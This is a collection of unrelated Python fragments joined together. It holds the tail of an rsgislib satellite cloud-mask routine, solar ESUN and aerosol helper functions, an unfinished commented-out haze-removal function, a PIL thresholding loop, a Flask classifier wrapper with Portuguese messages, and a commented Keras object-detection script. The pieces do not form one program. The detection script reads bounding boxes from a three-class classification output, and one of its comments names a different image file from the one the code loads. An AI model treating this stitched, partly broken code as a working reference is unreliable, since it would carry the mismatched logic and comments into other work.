    InitRegionInter = rat.readColumn(ratDataset, "InitRegionInter")
    ValidClumps = numpy.zeros_like(InitRegionInter, dtype=numpy.dtype("int"))
    ValidClumps[InitRegionInter > 0] = 1
    rat.writeColumn(ratDataset, "ValidClumps", ValidClumps)
    ratDataset = None

    rsgislib.rastergis.collapse_rat(
        tmpClearSkyRegionsFullExtentClumps,
        "ValidClumps",
        tmpClearSkyRegionsFullExtentSelectClumps,
        "KEA",
        1,
    )

    rsgislib.rastergis.pop_rat_img_stats(
        tmpClearSkyRegionsFullExtentSelectClumps, True, True
    )

    rsgislib.imagemorphology.create_circular_op(
        output_file=tmpMorphOperator, op_size=morphSize
    )

    rsgislib.imagemorphology.image_opening(
        input_img=tmpClearSkyRegionsFullExtentSelectClumps,
        output_img=tmpClearSkyRegionsFullExtentSelectClumpsOpen,
        tmp_img="",
        morph_op_file=tmpMorphOperator,
        use_op_file=True,
        op_size=21,
        gdalformat="KEA",
        datatype=rsgislib.TYPE_32UINT,
    )

    rsgislib.segmentation.clump(
        tmpClearSkyRegionsFullExtentSelectClumpsOpen,
        tmpClearSkyRegionsFullExtentSelectClumpsOpenClump,
        "KEA",
        False,
        0.0,
        False,
    )

    rsgislib.rastergis.pop_rat_img_stats(
        tmpClearSkyRegionsFullExtentSelectClumpsOpenClump, True, True
    )

    rsgislib.segmentation.rm_small_clumps(
        tmpClearSkyRegionsFullExtentSelectClumpsOpenClump,
        tmpClearSkyRegionsFullExtentSelectClumpsOpenClumpRMSmall,
        initClearSkyRegionMinSize,
        "KEA",
    )

    rsgislib.imagecalc.image_math(
        tmpClearSkyRegionsFullExtentSelectClumpsOpenClumpRMSmall,
        outputClearSkyMask,
        "b1>0?1:0",
        outFormat,
        rsgislib.TYPE_8UINT,
    )

    if deleteTmpFiles:
        import rsgislib.tools.filetools

        rsgislib.tools.filetools.delete_file_with_basename(tmpCloudsImgDist2Clouds)
        rsgislib.tools.filetools.delete_file_with_basename(
            tmpCloudsImgDist2CloudsNoData
        )
        rsgislib.tools.filetools.delete_file_with_basename(tmpInitClearSkyRegions)
        rsgislib.tools.filetools.delete_file_with_basename(tmpInitClearSkyRegionsClumps)
        rsgislib.tools.filetools.delete_file_with_basename(
            tmpInitClearSkyRegionsRmSmall
        )
        rsgislib.tools.filetools.delete_file_with_basename(tmpInitClearSkyRegionsFinal)
        rsgislib.tools.filetools.delete_file_with_basename(tmpClearSkyRegionsFullExtent)
        rsgislib.tools.filetools.delete_file_with_basename(
            tmpClearSkyRegionsFullExtentClumps
        )
        rsgislib.tools.filetools.delete_file_with_basename(
            tmpClearSkyRegionsFullExtentSelectClumps
        )
        rsgislib.tools.filetools.delete_file_with_basename(
            tmpClearSkyRegionsFullExtentSelectClumpsOpen
        )
        rsgislib.tools.filetools.delete_file_with_basename(
            tmpClearSkyRegionsFullExtentSelectClumpsOpenClump
        )
        rsgislib.tools.filetools.delete_file_with_basename(
            tmpClearSkyRegionsFullExtentSelectClumpsOpenClumpRMSmall
        )
        rsgislib.tools.filetools.delete_file_with_basename(tmpMorphOperator)

def get_esun_value(radiance, toaRefl, day, month, year, solarZenith):
    """
    Get the ESUN value where a radiance and TOA Reflectance value are known for a pixel.

    :param radiance: input at sensor radiance value.
    :param toaRefl: input the known at sensor (top of atmosphere) reflectance value for the given radiance.
    :param day: input the day of the acquisition.
    :param month: input the month of the acquisition.
    :param year: input the year of the acquisition.
    :param solarZenith: input the solar zenith angle for the acquisition.
    :returns: esun radiance
    """
    import math

    import rsgislib.imagecalibration

    julianDay = rsgislib.imagecalibration.get_julian_day(year, month, day)
    solarDist = rsgislib.imagecalibration.calc_solar_distance(julianDay)
    # pi * L * d2
    step1 = math.pi * radiance * (solarDist * solarDist)
    # step1 / toaRefl
    step2 = step1 / toaRefl
    # step2 / cos(solarZenith)
    esun = step2 / math.cos(math.radians(solarZenith))
    return esun

def visibility_to_aot(vis: float) -> float:
    """
    A function which converts an estimate of visibility to
    aerosol optical thickness (AOT)

    :param vis: input visibility estimate
    :return: output AOT estimate.

    """
    return (3.9449 / vis) + 0.08498

"""
def createEstimateSREFSurface(inputTOAImg, imgBands, bandRescale, winSize, outImage, gdalformat, dataType, tmpDIR):
    ###
    Estimate SREF surface from TOA input image using the method details in He, K., Sun, J., & Tang, X. (2011).
    'Single image haze removal using dark channel prior'. IEEE Transactions on Pattern Analysis and Machine Intelligence.
    Method details were also identified with reference to https://www.kaggle.com/ivanl1/haze-removal-using-dark-channel-prior

    **WARNING DO NOT USE - THIS FUNCTION IS STILL A WORK IN PROGRESS**

    ###
    raise rsgislib.RSGISPyException("This function is not yet ready - needs more thought as how to get a fully working implementation.")
    import rsgislib
    import rsgislib.imagecalc
    import rsgislib.imageutils

    import os.path
    import shutil

    from rios import applier
    from rios import cuiprogress

    import numpy

    baseName = os.path.splitext(os.path.basename(inputTOAImg))[0]
    tmpImgDIR = os.path.join(tmpDIR, baseName)

    tmpPresent = True
    if not os.path.exists(tmpImgDIR):
        os.makedirs(tmpImgDIR)
        tmpPresent = False

    ###############################################
    ########## NEEDS TO CHANGE SCALING ############
    ###############################################
    #
    # The scaling used seems to have a significant
    # effect on the results. Should a histogram or
    # standard deviation approach be adopted?
    #
    ###############################################

    # Rescale input TOA
    rescaledInputImg = os.path.join(tmpImgDIR, baseName+'_rescaled.kea')
    rsgislib.imagecalc.rescale_img_pxl_vals(inputTOAImg, rescaledInputImg, 'KEA', rsgislib.TYPE_32FLOAT, bandRescale, trim2Limits=True)

    # Calculate the minium value (across all bands) within the window.
    minValInWinImg = os.path.join(tmpImgDIR, baseName+'_minValInWin.kea')
    minValInWinRefImg = os.path.join(tmpImgDIR, baseName+'_minValInWinRef.kea')
    rsgislib.imagecalc.identifyMinPxlValueInWin(rescaledInputImg, minValInWinImg, minValInWinRefImg, imgBands, winSize, 'KEA', nodataval=0.0, usenodata=True)

    ###############################################
    ########## NEEDS TO ADD FILTERING #############
    ###############################################
    #
    # Published paper uses the Soft Matting algorithm
    # but this uses a lot of memory etc. so prob not
    # suitable.
    #
    # A Guided Filter is an alternative and should be
    # implmented in RSGISLIb - would generally be useful.
    #
    ###############################################

    # Calculate the 99th percentile.
    percentVals = rsgislib.imagecalc.calc_band_percentile(minValInWinImg, 0.99, 0)

    # Create mask of regions over 99th percentile
    atmosMaskImg = os.path.join(tmpImgDIR, baseName+'_atmosMask.kea')
    rsgislib.imagecalc.image_math(minValInWinImg, atmosMaskImg, '(b1==0)?0:(b1>='+str(percentVals[0])+')?1:0', 'KEA', rsgislib.TYPE_8UINT)

    # Calculate the mean value within the atmospheric light mask
    imgMeanVal = rsgislib.imagecalc.calcImgMeanInMask(rescaledInputImg, atmosMaskImg, 1, imgBands, 1, True)

    # Calculate the atmospheric transmission
    # transmission = 1 - omega * imgDark / atomsphericLight
    transImg = os.path.join(tmpImgDIR, baseName+'_transmission.kea')
    rsgislib.imagecalc.image_math(minValInWinImg, transImg, '(b1==0)?0:(1 - (1 * (b1/'+str(imgMeanVal)+')))<0.025?0.025:(1 - (1 * (b1/'+str(imgMeanVal)+')))', 'KEA', rsgislib.TYPE_32FLOAT)

    #####################################################################
    # Calculate the scaled SREF pixel values.
    srefScaledImg = os.path.join(tmpImgDIR, baseName+'_scaledSREF.kea')

    try:
        import tqdm
        progress_bar = rsgislib.TQDMProgressBar()
    except:
        progress_bar = cuiprogress.GDALProgressBar()

    infiles = applier.FilenameAssociations()
    infiles.toaScaledImage = rescaledInputImg
    infiles.transImg = transImg
    outfiles = applier.FilenameAssociations()
    outfiles.outimage = srefScaledImg
    otherargs = applier.OtherInputs()
    otherargs.atmosLight = imgMeanVal
    otherargs.imgBands = imgBands
    otherargs.numpyDT = numpy.float32
    aControls = applier.ApplierControls()
    aControls.progress = progress_bar
    aControls.drivername = 'KEA'
    aControls.omitPyramids = True
    aControls.calcStats = False

    def _calcScaleSREFVals(info, inputs, outputs, otherargs):
        # This is an internal rios function
        outImgShape = [len(otherargs.imgBands), inputs.transImg.shape[1], inputs.transImg.shape[2]]
        outputs.outimage = numpy.zeros(outImgShape, dtype=otherargs.numpyDT)
        for idx in range(len(imgBands)):
            bandIdx = imgBands[idx]-1
            outputs.outimage[idx] = numpy.where(inputs.toaScaledImage[bandIdx] == 0.0, 0.0, (((inputs.toaScaledImage[bandIdx]-otherargs.atmosLight))/inputs.transImg[0])+otherargs.atmosLight)

    applier.apply(_calcScaleSREFVals, infiles, outfiles, otherargs, controls=aControls)
    # End of RIOS Section
    #####################################################################

    ###############################################
    ########## NEEDS TO CHANGE SCALING ############
    ###############################################
    #
    # How to reliably rescale the results back to
    # to the original range. (I guess we need the
    # original data range rather than the editted
    # range from the stretch?)
    #
    ###############################################

    # Rescale the SREF image
    bandRescaleSREF = []
    outBand = 1
    for band in imgBands:
        bandRescaleSREF.append(rsgislib.imagecalc.ImageBandRescale(outBand, bandRescale[band-1].outMin, bandRescale[band-1].outMax, bandRescale[band-1].outNoData, 5, (bandRescale[band-1].inMax-bandRescale[band-1].inMin), 0))
        outBand = outBand + 1

    rsgislib.imagecalc.rescale_img_pxl_vals(srefScaledImg, outImage, gdalformat, dataType, bandRescaleSREF, trim2Limits=True)
    rsgislib.imageutils.pop_img_stats(outImage, use_no_data=True, no_data_val=0, calc_pyramids=True)

    if not tmpPresent:
        shutil.rmtree(tmpImgDIR, ignore_errors=True)
"""


from PIL import Image
from PIL import ImageOps
import numpy as np

def convert_images():
    for i in range(45):
        if i != 0:
            img = Image.open(f"train/train_conv_{i}.png")
            img = img.convert('L')
            img = img.resize((28, 28))

            img_array = np.array(img)

            # Set the threshold value
            threshold = 200
            if i == 1:
                print(img_array)

            height, width = img_array.shape

            # Iterate over all the pixels
            for x in range(width):
                for y in range(height):

                    if img_array[y, x] > threshold:
                        img_array[y, x] = 255
                    else:
                        img_array[y, x] = 0

            # Save the binary image
            Image.fromarray(img_array.astype(np.uint8)).save(f"train/train_conv_{i}.png")

            print(f"Converted {i} with {len(img.getbands())} bands; type: {img.mode}")


from flask import jsonify
from ia.check_data import Check
from ia.transform_data import TransformData
from ia.load_model import LoadModel
from ia.evaluate_model import EvaluateModel

class Ia:
    def run(self, data):
        try:
            check = Check()
            check_results = check.check_file(data)
            if all(value for value in check_results.values()):
                transformData = TransformData()
                processed_data = transformData.transformation_and_tensor(data)
                model_cnn = LoadModel()
                classification = EvaluateModel(model_cnn, processed_data).evaluate()

            else:
                return jsonify({'error': 'O arquivo não passou nas verificações'})

            return jsonify({'success': 'Classificação realizada com sucesso', 'result':classification})

        except Exception as e:
            # Lidando com exceções não tratadas, como problemas de leitura de arquivo, erros de transformação, etc.
            return jsonify({'error': f'Ocorreu um erro durante o processamento: {str(e)}'})


# PREZENTACIJA 3
# Overall, this code loads a pre-trained model, performs object detection on an input image,
# and visualizes the results by drawing bounding boxes and
# displaying the detected class label and confidence level on the image.
import cv2
import numpy as np
from tensorflow.keras.models import load_model
# The code imports the necessary libraries: cv2 for image processing, numpy for numerical operations,
# and load_model from tensorflow.keras.models to load the trained model.

# Load the trained model
model = load_model('trained_model.h5')
# The code loads the pre-trained model from the file named 'trained_model.h5' and assigns it to the variable model.

# Define the class labels
class_labels = ['F1 car', 'Football ball', 'iPhone']

# This line defines the class labels for the objects that the model can detect.
# In this case, it contains the labels 'F1 car', 'Football ball', and 'iPhone'.

# Load the test image
image_path = 'Test images/40.png' # 22, 25, 30
image = cv2.imread(image_path)
image_height, image_width, _ = image.shape

# This code block specifies the path to the test image ('Test images/18.jpg'), reads the image using cv2.imread,
# and assigns it to the variable image. It also retrieves the height, width,
# and number of channels of the image using the shape attribute.

# Resize the image to match the size used during training
target_size = (224, 224)
resized_image = cv2.resize(image, target_size)

# The code sets the desired size for the input image (target_size) to (224, 224) pixels.
# It then resizes the image using cv2.resize to match the target_size and assigns it to the variable resized_image.

# Preprocess the image
preprocessed_image = resized_image.astype(np.float32) / 255.0
preprocessed_image = np.expand_dims(preprocessed_image, axis=0)

# This code block performs preprocessing on the resized image. First, it converts the pixel values of resized_image to
# floating-point numbers in the range [0, 1] by dividing by 255.0.
# Then, it adds an extra dimension to the image using np.expand_dims to match the input shape required by the model.

# Perform object detection
predictions = model.predict(preprocessed_image)
class_index = np.argmax(predictions)
class_label = class_labels[class_index]
confidence = predictions[0][class_index]

# The code uses the model to make predictions on the preprocessed image (preprocessed_image).
# The predictions are stored in the predictions variable.
# The np.argmax function is used to find the index of the class with the highest prediction probability.
# The corresponding class label is retrieved from class_labels and assigned to class_label.
# The confidence level (prediction probability) for the detected class is stored in confidence.

# Calculate the bounding box coordinates
bbox = predictions[0][:2] * np.array([target_size[1], target_size[0]])
bbox = bbox.astype(int)

# This code calculates the top-left coordinates of the bounding box based on the first two values of the predictions.
# It scales the values by the width and height of the target_size using np.array and element-wise multiplication.
# The resulting coordinates are then converted to integers using astype(int) and assigned to the variable bbox.

# Calculate the bottom right coordinates of the bounding box
bbox_bottom_right = bbox[:2] + predictions[0][2:4] * np.array([target_size[1], target_size[0]])
bbox_bottom_right = bbox_bottom_right.astype(int)

# Similar to the previous code block, this line calculates the bottom-right coordinates of the bounding box by adding
# the top-left coordinates (bbox[:2]) to the last two values of the predictions scaled by the target_size.
# The resulting coordinates are also converted to integers and stored in bbox_bottom_right.

# Scale the bounding box coordinates back to the original image size
scale_factor = (image_width / target_size[1], image_height / target_size[0])
bbox = (bbox * scale_factor).astype(int)
bbox_bottom_right = (bbox_bottom_right * scale_factor).astype(int)

# This code calculates the scale factors for width and height based on the ratio between the original image size and the target_size.
# It then scales the bounding box coordinates (bbox and bbox_bottom_right) back to the original image size
# by multiplying them with the corresponding scale factors. The coordinates are converted to integers using astype(int).

# Draw the rectangle and confidence level on the image
cv2.rectangle(image, (bbox[0], bbox[1]), (bbox_bottom_right[0], bbox_bottom_right[1]), (0, 255, 0), 2)
cv2.putText(image, f'{class_label}: {confidence:.2f}', (bbox[0], bbox[1] - 10),
            cv2.FONT_HERSHEY_SIMPLEX, 0.9, (0, 255, 0), 2)

# These lines draw a rectangle on the image using the calculated top-left and bottom-right coordinates.
# The rectangle is visualized as a green color ((0, 255, 0)) with a line thickness of 2 pixels.
# Additionally, it puts text on the image displaying the detected class label and confidence level near the top-left
# corner of the bounding box. The text is displayed in green color ((0, 255, 0)) with a font scale of 0.9 and a line thickness of 2 pixels.

# Print the detected class and confidence level
print('Detected Class:', class_label)
print('Confidence:', confidence)

# These lines print the detected class label and confidence level to the console.

# Display the image
cv2.imshow('Image', image)
cv2.waitKey(0)
cv2.destroyAllWindows()

# These lines display the annotated image in a window titled 'Image' using cv2.imshow.
# It waits for a key press with cv2.waitKey(0), and then closes all windows using cv2.destroyAllWindows().